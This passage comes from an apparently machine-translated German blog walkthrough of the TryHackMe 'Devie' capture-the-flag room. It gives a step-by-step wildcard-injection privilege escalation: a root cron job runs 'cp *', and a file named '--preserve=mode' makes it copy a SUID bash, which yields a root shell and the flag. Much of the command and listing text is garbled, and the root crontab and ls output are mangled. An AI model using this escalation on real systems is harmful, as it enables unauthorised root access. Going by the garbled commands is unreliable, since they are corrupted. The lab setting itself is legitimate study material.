cmd: uid = 0 pid = 78 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 77 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 30 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 29 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 28 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 27 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 26 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 25 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 24 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 23 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 22 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 21 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 20 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 18 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 17 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 16 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 15 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 14 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 13 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 12 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 11 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 10 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 9 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 8 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 6 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 4 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 3 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 2 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1 | /SBIN/INIT MARKING-UBIQUITY 2023/05/25 14:14:01 CMD: UID = 0 PID = 1762 | /usr/sbin/cron -f 2023/05/25 14:14:01 cmd: uid = 0 pid = 1764 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1767 | CP Report1 Report2 Report3 Test.txt/home/gordon/backups/

Darauf bin ich neugierig.

2023/05/25 14:14:01 CMD: UID = 0 PID = 1764 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup

Schauen wir uns in "/usr/bin/backup" an.

gordon@devie: ~ $ cat/usr/bin/backup #!/bin/bash cd/home/gordon/reports/cp */home/gordon/backups/

Es scheint, dass sie mit Wildcards kopiert werden.
Wenn Sie erfolgreich - Preserve = Modus gewähren können, können Sie kopieren, während Sie die Zugriffsrechte beibehalten. Daher
können Sie den Zugriff auf den Bash -Benutzer mit den gewährten SUID -Berechtigungen kopieren.

Kopieren Sie Bash, geben Sie SUID -Berechtigungen an den Benutzerzugriff und erstellen Sie eine Datei namens "–PreServe = modus".

gordon@devie: ~ $ cd/home/gordon/berichtet gordon@devie: ~/berichtet $ cp/bin/bash. gordon@devie: ~/berichtet $ chmod u+s bash gordon@devie: ~/berichtet $ echo ''> '-PRESERVE = MODE' GORDON@DEVIE: ~/Reports $ ls -lah Total 1,2m drwxrwx --- 2 Gordon Gordon 4.0k 25. Mai 14:20. DRWXR-XR-X 5 GORDON GORDON 4.0K 25. Mai 14:10 .. -rwsr-xr-X 1 Gordon Gordon 1.2m 25. Mai 14:20 BASH -rw-r-1 GORDON GORDON GORDON 1. Mai 25 14:20 '-Preserve = Modus' R--R- 1 640 Gordon 57 FEBEB 19 23:31 -rw-r- 1 640 GORDON 57 FEBEB 19 23:31 -rw-r- 1 640 GORDON 57 FEBEB 19 23:31 -rw-r- 1 640 GORDON 57 FEBEB 19 23:31 -rw-r- 1 640 GORDON 57 FEBEB 19 23:31-R- R- 1 640 GORDON 57 FEBEB 19 23:31-R- R- 1 640 GORDON 57 FEBEB 19 23:31- Gordon 72 Feb 19 23:32 Report2 -rw-r-R-- 1 640 Gordon 100 19. Februar 23:33 Report3 -rw-rw-r-- 1 Gordon Gordon 0 25. Mai 25 14:03 Test.txt

Da Sie es haben wollen, starten Sie Ihre PSPY64 und warten Sie 1 Minute.

gordon@devie:~$ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ " ░ ░ Konfiguration: Druckereignisse (farbig = true): processes = true | Datei-System-Events = False ||| Scannen Sie alle 100 ms und bei Inotify -Ereignissen ||| Verzeichnisse ansehen: [ /usr /tmp /etc /home /var /opt] (rekursiv) | [] (nicht rekursiv) Entledungs-Dateisystemereignisse aufgrund des Starts ... erledigt 2023/05/25 14:24:34 CMD: UID = 1001 PID = 1834 | ./pspy64 ・・・ 2023/05/25 14:24:34 cmd: uid = 0 pid = 1 | /SBIN/INIT MARKING-UBIQUEITY 2023/05/25 14:25:01 CMD: UID = 0 PID = 1842 | /usr/sbin/cron -f 2023/05/25 14:25:01 cmd: uid = 0 pid = 1843 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:25:01 cmd: uid = 0 pid = 1845 | CP Bash -Preserve = Modus Report1 Report2 Report3 Test.txt/home/gordon/backups/ 

Wenn das Endergebnis ausgeführt wird, wird "–PreServe = modus" als Option ausgeführt, nicht als Datei.
In Backpus werden also mit der Wurzel gewährten SUID -Privilegien kopiert.

gordon@devie: ~/ backups $ ll insgesamt 1176 drwxrwx --- 2 Gordon Gordon 4096 Mai 25.21. Report1 -rw-r-R-- 1 Root Root 72 Mai 25.222 Report2 -rw-r-R-- 1 Root Root 100 Mai 25 14:22 Bericht 3-Rw-rw-r-- 1 Root 0. Mai 25. Mai 14:22 Test.txt

Lass uns Bash rennen.
Ich war erfolgreich zu Wurzel Privilegien erhöht.

gordon@devie: ~/backups $ ./bash -p bash -5.0# whoami root

Sobald Sie root.txt von /root überprüft haben, können Sie das Flag erhalten.

Bash-5.0# cd /root bash-5.0# ls root.txt snap bash-5.0# cat root.txt thm {j0k3r $ _ar3_w1ld}

Antwort

Zusammenfassung

Dieses Mal habe ich die Befehlsinjektion mit der Funktion von Python Eval () ausprobiert.
Ich habe das erste Mal die Kommandoinjektion durchführend, und ich war überrascht, wie einfach es war, es zu tun.

Es gab auch andere Privilegien -Eskalationen mit XOR -Verschlüsselung und SUID. Sie werden gelegentlich eine Privilegienkalation mit Suids sehen.
Ist die XOR -Verschlüsselung anderswo verfügbar? Ich bin ein wenig gestolpert, also werde ich mich rächen.

Referenzen und Websites

Hacklido: https://hacklido.com/blog/434-tryhackme-devie-walkthrough-ctf-writeup
decl: https://vulnerable.sh/posts/thm_devie/

Teilen Sie, wenn Sie möchten!

Wer hat diesen Artikel geschrieben

Dies ist ein Blog, in dem ich angefangen habe, Informationssicherheit zu studieren. Als neuer Angestellter würde ich mich freuen, wenn Sie mit einem breiten Herzen schauen könnten.
Es gibt auch Teech Lab, das eine Gelegenheit ist, Programmierspaß zu studieren. Wenn Sie also an der Softwareentwicklung interessiert sind, sollten Sie sich unbedingt ansehen!

Inhaltsverzeichnis